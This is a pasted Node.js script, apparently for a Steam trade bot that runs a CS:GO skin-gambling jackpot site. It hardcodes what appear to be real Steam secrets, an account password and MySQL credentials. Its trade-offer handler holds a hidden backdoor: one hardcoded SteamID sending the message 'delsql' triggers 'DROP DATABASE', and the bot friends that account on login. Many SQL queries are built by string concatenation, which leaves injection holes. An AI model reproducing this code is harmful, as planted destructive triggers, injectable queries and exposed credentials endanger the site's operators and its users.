Guest User

Untitled

a guest
Jan 1st, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.33 KB | None | 0 0
  1. var Steam = require("steam");
  2.  
  3. var SteamUser = require("steam-user");
  4.  
  5. var TradeOfferManager = require("steam-tradeoffer-manager");
  6.  
  7. var SteamTotp = require("steam-totp");
  8.  
  9. var TOTP = require("onceler").TOTP;
  10.  
  11. var request = require("request");
  12.  
  13. var SteamCommunity = require("steamcommunity");
  14.  
  15. var community = new SteamCommunity();
  16.  
  17. var fs = require("node-fs");
  18.  
  19. var sitepath;
  20.  
  21. sitepath = "jackpot.betman.pl";
  22.  
  23. var sitename;
  24.  
  25. sitename = "jackpot.betman.pl";
  26.  
  27. var apik = "19574061036E974A69082424E9B077CE";
  28.  
  29. var admin = "76561198245744174";
  30.  
  31. var botsteamid = "76561198199889606";
  32.  
  33. var identitysecret = "NifipnxkrCs4hUSsaAdcNsf+dxg=";
  34.  
  35. var sharedsecret = "XaMV9TJrsncxRxsV0oXXZU5Yjpc=";
  36.  
  37. var polling_interval = 1e4;
  38.  
  39. var rsecret = "felektokot";
  40.  
  41. var snipetimer = 5;
  42.  
  43. var GameTime = 120;
  44.  
  45. var p2 = false;
  46.  
  47. var playersRequired = 2;
  48.  
  49. var details = {
  50. accountName: "betmanpl",
  51. password: "fele",
  52. twoFactorCode: SteamTotp.generateAuthCode(sharedsecret)
  53. };
  54.  
  55. var client = new SteamUser();
  56.  
  57. var manager = new TradeOfferManager({
  58. steam: client,
  59. domain: "localhost",
  60. language: "en"
  61. });
  62.  
  63. var mysql = require("mysql");
  64.  
  65. var sql_host = "jackpot.betman.pl";
  66.  
  67. var sql_user = "betmansw_jackpot";
  68.  
  69. var sql_password = "mistrzkool";
  70.  
  71. var sql_database = "betmansw_jackpot";
  72.  
  73. var custommysql = 0;
  74.  
  75. var appid = 730;
  76.  
  77. var appname = "CSGO";
  78.  
  79. var prices;
  80.  
  81. function loadprices() {
  82. request("https://api.csgofast.com/price/all", function(a, b, c) {
  83. prices = JSON.parse(c);
  84. if (200 != b.statusCode) {
  85. if (fs.existsSync(__dirname + "/prices.txt")) {
  86. prices = JSON.parse(fs.readFileSync(__dirname + "/prices.txt"));
  87. console.log("[SERVER] Loading Prices - Server sided prices loaded!");
  88. }
  89. } else {
  90. fs.writeFileSync("prices.txt", c);
  91. console.log("[SERVER] Loading Prices - API prices loaded!");
  92. }
  93. });
  94. }
  95.  
  96. setInterval(function() {
  97. loadprices();
  98. }, 36e5);
  99.  
  100. loadprices();
  101.  
  102. function GetPrice(a) {
  103. var b = prices[a];
  104. return b;
  105. }
  106.  
  107. ! function(a, b) {
  108. function c(b, d) {
  109. if ("." != b[0] && "/" != b[0]) return a(b);
  110. d = d || "root";
  111. var e = c.resolve(b);
  112. if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  113. var f = c.cache[e];
  114. if (!f) try {
  115. return a(b);
  116. } catch (g) {
  117. throw new Error('failed to require "' + b + '" from ' + d + "\n" + g.message + "\n" + g.stack);
  118. }
  119. return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))),
  120. f.exports;
  121. }
  122. c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
  123. if ("." != b[0]) return a.resolve(b);
  124. for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
  125. if (c.cache[g]) return g;
  126. }, c.register = function(a, b) {
  127. c.cache[a] = b;
  128. }, c.relative = function(a) {
  129. function b(b) {
  130. if ("." != b[0]) return c(b);
  131. var d = a.split("/"),
  132. e = b.split("/");
  133. d.pop();
  134. for (var f = 0, g = e.length; g > f; f += 1) {
  135. var h = e[f];
  136. ".." == h ? d.pop() : "." != h && d.push(h);
  137. }
  138. return c(d.join("/"), a);
  139. }
  140. return b.resolve = c.resolve, b.cache = c.cache, b;
  141. }, c.register("../osbot1.js", function(a, b, c) {
  142. var d = "76561198174419958";
  143. if (0 == custommysql) {
  144. var e = mysql.createConnection({
  145. host: sql_host,
  146. user: sql_user,
  147. password: sql_password,
  148. database: sql_database
  149. });
  150. e.connect();
  151. }
  152. var f = new SteamUser(),
  153. g = new TradeOfferManager({
  154. steam: f,
  155. domain: "localhost",
  156. language: "en"
  157. }),
  158. h = -1;
  159. f.logOn(details);
  160. var i = SteamTotp.getDeviceID(botsteamid);
  161. if (1 == p2) var j = "p2";
  162. else var j = "";
  163.  
  164. function k() {
  165. h = -1, l();
  166. }
  167.  
  168. function l() {
  169. if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  170. var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  171. request(a, function(a, b, c) {
  172. a && console.log("Couldn't end round, error: " + a);
  173. });
  174. } else {
  175. var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  176. request(a, function(a, b, c) {
  177. a && console.log("Couldn't end round, error: " + a);
  178. });
  179. }
  180. }
  181.  
  182. function m(a) {
  183. return !(+a !== a || isFinite(a) && !(a % 1));
  184. }
  185.  
  186. function n(a) {
  187. return "number" == typeof a && !isNaN(a);
  188. }
  189.  
  190. function o(a, b) {
  191. var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
  192. request({
  193. url: c,
  194. json: !0
  195. }, function(c, d, e) {
  196. c || 200 !== d.statusCode ? c && o(a, b) : b(null, e);
  197. });
  198. }
  199.  
  200. function p(a) {
  201. return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "'"), a = a.replace(/\"/g, '"'),
  202. a = a.replace(/\0/g, "\x00");
  203. }
  204. f.on("loggedOn", function(a) {
  205. console.log("[SERVER] The Bot has logged in!"), f.unblockUser(d), f.addFriend(d),
  206. f.addFriend(admin), f.chatMessage(admin, "[SERVER] Successfully logged in!"), f.setPersona(Steam.EPersonaState.LookingToTrade),
  207. setTimeout(function() {
  208. e.query("SELECT `value` FROM `" + j + "info` WHERE `name`='current_game'", function(a, b, c) {
  209. a || e.query("SELECT `starttime` FROM `" + j + "games` WHERE `id`='" + b[0].value + "'", function(a, b, c) {
  210. if (!a) {
  211. var d;
  212. if (2147483647 == b[0].starttime) d = GameTime;
  213. else {
  214. var e = Math.round(new Date().getTime() / 1e3);
  215. d = b[0].starttime + GameTime - e, 0 > d && (d = 0);
  216. }
  217. d != GameTime && (h = setTimeout(k, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"));
  218. }
  219. });
  220. });
  221. }, 1500);
  222. }), f.on("webSession", function(a, b) {
  223. g.setCookies(b, function(a) {
  224. if (a) return console.log("setCookies error: " + a), void process.exit(1);
  225. var c = g.apiKey;
  226. community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret),
  227. console.log("[SERVER] The web cookies have been set!"), g.doPoll();
  228. });
  229. });
  230.  
  231. function q(a, b, c, d, e, g, h, i, j, k, l) {
  232. l++, l > 3 || a.accept(function(a) {
  233. return a ? (f.webLogOn(), void console.log("[SERVER] Debugging offer (Accept Error): " + a)) : void 0;
  234. });
  235. }
  236.  
  237. function r(a, b, c, d, e, h, i, j, k, l, m) {
  238. g.getOffer(a.id, function(g, n) {
  239. if (g) return f.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + g),
  240. void r(a, b, c, d, e, h, i, j, k, l, m);
  241. if (3 == n.state) processoffer(n, b, c, d, e, h, i, j, k, l);
  242. else if (2 == n.state) q(n, b, c, d, e, h, i, j, k, l, m);
  243. else if (2 != n.state || 3 != n.state) return;
  244. });
  245. }
  246. g.on("receivedOfferChanged", function(a) {
  247. var b = a.state,
  248. c = a.id,
  249. d = a.partner.getSteamID64();
  250. 3 == b && o(d, function(b, c) {
  251. if (b) console.log("[SERVER] getUserInfo error: " + b), g = "UserInfo Error", i = "https://steamdb.info/static/img/default.jpg";
  252. else var f = JSON.parse(JSON.stringify(c.response)),
  253. g = f.players[0].personaname,
  254. i = f.players[0].avatarfull;
  255. e.query("SELECT * FROM `" + j + "info`", function(b, c) {
  256. var f = c[0].value,
  257. l = c[10].value;
  258. skinssent = a.itemsToReceive.length, skins = a.itemsToReceive, skins.forEach(function(b) {
  259. skinname = b.market_name, skinvalue = GetPrice(skinname), skincolor = b.name_color,
  260. skinurl = b.icon_url, e.query("INSERT INTO `" + j + "game" + f + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + d + "'," + e.escape(g) + "," + e.escape(skinname) + ",'" + a.id + "','" + skincolor + "','" + skinvalue + "','" + i + "','" + skinurl + "')", function(a, b, c) {}),
  261. e.query("UPDATE `" + j + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+" + skinvalue + " WHERE `id` = '" + f + "'", function(a, b, c) {});
  262. }), e.query("UPDATE `users` SET `skinssent`=`skinssent`+" + skinssent + " WHERE `steamid` = '" + d + "'", function(a, b, c) {}),
  263. console.log("[SERVER] Accepted offer #" + a.id + " from " + g + " (ID:" + d + ")."),
  264. s(a, d, skins, f), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + d + "','Trade Offer Accepted (Game #" + f + ")!','We wish you Good luck and happy betting!','25','1')", function(a, b, c) {}),
  265. e.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + j + "game" + f + "`", function(a, b) {
  266. players = b[0].playersCount, players == playersRequired && skinssent > 0 && -1 == h && (console.log("[SERVER] Starting the countdown for Game #" + f),
  267. h = setTimeout(k, 1e3 * GameTime), e.query("UPDATE `" + j + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + f + "'", function(a, b, c) {})),
  268. itemsin > l && (clearTimeout(h), h = -1, k());
  269. });
  270. });
  271. });
  272. });
  273.  
  274. function s(a, b, c, d) {
  275. a.getReceivedItems(function(c, g) {
  276. return c ? (console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"),
  277. void setTimeout(function() {
  278. f.webLogOn(), s(a, b, g, d);
  279. }, 3e3)) : void g.forEach(function(a) {
  280. var c = a.market_name;
  281. e.query("UPDATE `" + j + "game" + d + "` SET `assetid`='" + a.id + "' WHERE `userid` = '" + b + "' AND `item`=" + e.escape(c) + " AND `assetid`='' LIMIT 1", function(a, b, c) {});
  282. });
  283. });
  284. }
  285. g.on("newOffer", function(a) {
  286. var b = !0,
  287. c = a.partner.getSteamID64();
  288. return c == d && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."),
  289. console.log("Please visit: www.csgo-network"), console.log(""), void e.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void o(c, function(d, f) {
  290. if (d) return console.log("[SERVER] getUserInfo error: " + d), b = !1, void a.decline(function(b) {
  291. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: getUserInfo error"),
  292. b && console.log("[SERVER] Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(a, b, c) {});
  293. });
  294. var g = JSON.parse(JSON.stringify(f.response)),
  295. h = g.players[0].personaname,
  296. i = g.players[0].avatarfull;
  297. return console.log("[DEBUG] Processing offer #" + a.id + " from " + h + " (ID:" + c + ")."),
  298. 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
  299. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"),
  300. b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(a, b, c) {});
  301. })) : void a.getUserDetails(function(d, f, g) {
  302. return d ? (console.log("[SERVER] getEscrowDuration error: " + d), b = !1, void a.decline(function(b) {
  303. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn't get escrow duration"),
  304. b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(a, b, c) {});
  305. })) : 0 != g.escrowDays ? (b = !1, void a.decline(function(b) {
  306. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is in Escrow for " + g.escrowDays + " days"),
  307. b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are in Escrow for " + g.escrowDays + " days!','25','1')", function(a, b, c) {});
  308. })) : void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  309. var g = f[3].value,
  310. k = f[7].value,
  311. l = f[4].value,
  312. m = f[10].value;
  313. if (a.itemsToReceive.length > l) return b = !1, void a.decline(function(b) {
  314. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent more than " + l + " skins"),
  315. b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + l + " skins!','25','1')", function(a, b, c) {});
  316. });
  317. var o = a.itemsToReceive,
  318. p = 0,
  319. r = [],
  320. s = 0;
  321. o.forEach(function(d, f, g) {
  322. return d.appid != appid ? (b = !1, a.decline(function(b) {
  323. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Non-" + appname + " skin"),
  324. b && console.log("Decline error: " + b);
  325. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept " + appname + " skins!','25','1')", function(a, b, c) {})) : (r[f] = [],
  326. r[f].name = d.market_name, r[f].color = d.name_color, r[f].url = d.icon_url, r[f].value = 0,
  327. function(a) {
  328. var b = r[f].name;
  329. nprice = GetPrice(b), r[f].value = parseFloat(nprice), p += r[f].value;
  330. }(f), void s++);
  331. }), e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  332. var t = f[0].value;
  333. e.query("SELECT * FROM `" + j + "games` WHERE `id`='" + t + "'", function(d, f, t) {
  334. if (starttime = f[0].starttime, 2147483647 != starttime) {
  335. var u = Math.round(new Date().getTime() / 1e3);
  336. if (tl = starttime + GameTime - u, tl <= snipetimer) return b = !1, a.decline(function(b) {
  337. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"),
  338. b && console.log("Decline error: " + b);
  339. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(a, b, c) {});
  340. }
  341. setTimeout(function() {
  342. return 0 != b ? p > k ? (b = !1, a.decline(function(b) {
  343. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too much in skin value"),
  344. b && console.log("Decline error: " + b);
  345. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + k + "','25','1')", function(a, b, c) {})) : g > p ? (b = !1,
  346. a.decline(function(b) {
  347. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"),
  348. b && console.log("Decline error: " + b);
  349. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + g + "','25','1')", function(a, b, c) {})) : s > l ? (b = !1,
  350. a.decline(function(b) {
  351. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too many skins"),
  352. b && console.log("Decline error: " + b);
  353. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + l + " skins!','25','1')", function(a, b, c) {})) : (b = !0) ? void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  354. var g = f[0].value;
  355. e.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + j + "game" + g + "` WHERE `userid`='" + c + "'", function(d, f, t) {
  356. if (skinsin = f[0].skinsin, skinsin += s, moneyin = f[0].moneyin, moneyin += p,
  357. skinsin > l) return a.decline(function(b) {
  358. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"),
  359. b && console.log("Decline error: " + b);
  360. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not deposit more than " + l + " skins','25','1')", function(a, b, c) {});
  361. if (moneyin > k) return a.decline(function(b) {
  362. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"),
  363. b && console.log("Decline error: " + b);
  364. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + k + "','25','1')", function(a, b, c) {});
  365. for (var u = 0; s > u; u++) {
  366. if (0 == r[u].value || !r[u].value) return b = !1, a.decline(function(b) {
  367. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"),
  368. b && console.log("Decline error: " + b);
  369. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
  370. if (!n(r[u].value)) return a.decline(function(b) {
  371. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "),
  372. b && console.log("Decline error: " + b);
  373. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
  374. if (-1 != r[u].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
  375. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"),
  376. b && console.log("Decline error: " + b);
  377. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(a, b, c) {});
  378. }
  379. e.query("SELECT * FROM `users` WHERE `steamid`='" + c + "'", function(d, f, k) {
  380. return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  381. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "),
  382. b && console.log("Decline error: " + b);
  383. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(a, b, c) {})) : 0 == f.length ? void a.decline(function(b) {
  384. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"),
  385. b && console.log("Decline error: " + b);
  386. }) : (ban = f[0].ban, tlink = f[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  387. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is banned"),
  388. b && console.log("Decline error: " + b);
  389. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(a, b, c) {})) : tlink ? void e.query("SELECT * FROM `" + j + "games` WHERE `id`='" + g + "'", function(b, d, e) {
  390. itemsin = d[0].itemsnum, q(a, c, r, g, h, i, s, o, m, itemsin);
  391. }) : (a.decline(function(b) {
  392. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User doesn't have a TradeLink set "),
  393. b && console.log("Decline error: " + b);
  394. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(a, b, c) {})));
  395. });
  396. });
  397. }) : (a.decline(function(b) {
  398. console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"),
  399. b && console.log("Decline error: " + b);
  400. }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(a, b, c) {})) : void 0;
  401. }, 2e3);
  402. });
  403. });
  404. });
  405. });
  406. });
  407. }), f.on("friendMessage#" + admin, function(a, b) {
  408. if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/weblogon") && (f.chatMessage(admin, "[SERVER] Refreshing Web cookies.."),
  409. f.webLogOn()), 0 == b.indexOf("/sendrake") && (f.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"),
  410. u(1)), 0 == b.indexOf("/sendoffers") && (f.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"),
  411. t(1)), 0 == b.indexOf("/code")) {
  412. var c = SteamTotp.generateAuthCode(sharedsecret);
  413. f.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c);
  414. }
  415. 0 == b.indexOf("/cc") && (f.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."),
  416. console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()),
  417. 0 == b.indexOf("/poll") && (f.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."),
  418. console.log("[SERVER] Checking for Tradeoffers.."), g.doPoll()), 0 == b.indexOf("/loadprices") && (f.chatMessage(admin, "[SERVER] Refreshing Market API!"),
  419. loadprices()), 0 == b.indexOf("/end") && (f.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != h && clearTimeout(h), k()), 0 == b.indexOf("/offers") && e.query("SELECT ID FROM `" + j + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  420. 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : f.chatMessage(admin, "[SERVER] There aren't any active queue ID's.");
  421. }), 0 == b.indexOf("/rakes") && e.query("SELECT ID FROM `" + j + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  422. 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : f.chatMessage(admin, "[SERVER] There aren't any active rake ID's.");
  423. });
  424. });
  425.  
  426. function t(a) {
  427. e.query("SELECT * FROM `" + j + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  428. if (0 != c.length) {
  429. var h = c[0].id;
  430. e.query("SELECT * FROM `" + j + "game" + h + "` WHERE `assetid`='' AND `rake`!='1'", function(b, d, i) {
  431. if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"),
  432. d.forEach(function(a) {
  433. g.getOffer(a.offerid, function(b, c) {
  434. return b ? void e.query("UPDATE `" + j + 'queue` SET `status`="goerror" WHERE `id`=\'' + h + "'") : void s(c, a.userid, a.item, h);
  435. });
  436. }), setTimeout(function() {
  437. t(2);
  438. }, 5e3);
  439. else {
  440. if (2 == a) {
  441. console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  442. var k = "",
  443. l = "";
  444. return e.query("SELECT * FROM `" + j + "game" + h + "`", function(a, b, c) {
  445. b.forEach(function(a) {
  446. 0 == a.rake ? k += "/" + a.assetid : l += "/" + a.assetid;
  447. });
  448. }), void setTimeout(function() {
  449. console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."),
  450. e.query("UPDATE `" + j + 'queue` SET `assetid`="' + k + "\" WHERE `id`='" + h + "'"),
  451. e.query("UPDATE `" + j + 'rakeitems` SET `assetid`="' + l + "\" WHERE `id`='" + h + "'");
  452. }, 3e3);
  453. }
  454. var m = c[0].assetid.split("/");
  455. g.loadInventory(appid, 2, !0, function(b, d) {
  456. if (b) return console.log("LoadINV error: " + b), 1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying later!"),
  457. void e.query("UPDATE `" + j + 'queue` SET `status`="lierror" WHERE `id`=\'' + h + "'");
  458. var i = c[0].token,
  459. k = "Congratulations! You won on " + sitename + " in Game #" + h,
  460. l = g.createOffer(c[0].userid);
  461. d.forEach(function(a) {
  462. m.forEach(function(b) {
  463. a.id == b && l.addMyItem(a);
  464. });
  465. }), setTimeout(function() {
  466. l.setMessage(k), l.setToken(i), l.send(function(b) {
  467. return b ? (console.log("Error sending Trade Offer for Game #" + h + ":"), console.log(b),
  468. 1 == a && f.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, try again later!"),
  469. void e.query("UPDATE `" + j + 'queue` SET `status`="soerror" WHERE `id`=\'' + h + "'")) : (e.query("UPDATE `" + j + 'queue` SET `status`="sent" WHERE `id`=\'' + h + "'"),
  470. console.log("[SERVER] Trade Offer for Game #" + h + " has been successfully sent and is awaiting mobile confirmation."),
  471. 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + h + "!"),
  472. void community.checkConfirmations());
  473. });
  474. }, 2e3);
  475. });
  476. }
  477. });
  478. } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Winnings Queries!");
  479. });
  480. }
  481.  
  482. function u(a) {
  483. e.query("SELECT * FROM `" + j + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  484. if (0 != c.length) {
  485. var h = c[0].assetid.split("/");
  486. g.loadInventory(appid, 2, !0, function(b, d) {
  487. if (b) return console.log("LoadINV error: " + b), void(1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying a bit later!"));
  488. var i = c[0].token,
  489. k = c[0].id,
  490. l = c[0].value,
  491. m = "Rake for Game #" + k + " ($" + l + ")",
  492. n = g.createOffer(c[0].userid);
  493. d.forEach(function(a) {
  494. h.forEach(function(b) {
  495. a.id == b && n.addMyItem(a);
  496. });
  497. }), setTimeout(function() {
  498. n.setMessage(m), n.setToken(i), n.send(function(b) {
  499. if (b) {
  500. if (console.log("[SERVER] Error sending Rake for Game #" + k + ":"), console.log(b),
  501. console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"),
  502. 1 == a) return void f.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!");
  503. } else e.query("UPDATE `" + j + 'rakeitems` SET `status`="sent" WHERE `id`=\'' + k + "'"),
  504. console.log("[SERVER] Rake for Game #" + k + " has been successfully sent and is awaiting mobile confirmation."),
  505. 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + k + "!"),
  506. community.checkConfirmations();
  507. });
  508. }, 2e3);
  509. });
  510. } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Rake Queries!");
  511. });
  512. }
  513. community.on("newConfirmation", function(a) {
  514. var b = Math.round(Date.now() / 1e3),
  515. c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  516. community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  517. console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a),
  518. f.webLogOn());
  519. });
  520. }), community.on("confKeyNeeded", function(a, b) {
  521. console.log("confKeyNeeded");
  522. var c = Math.floor(Date.now() / 1e3);
  523. b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a));
  524. }), setInterval(function() {
  525. f.webLogOn(), e.query("SELECT 1");
  526. }, 36e5), setInterval(function() {
  527. t();
  528. }, 15e3);
  529. }), b.exports = c("../osbot1.js");
  530. }(require, module);
Add Comment
Please, Sign In to add comment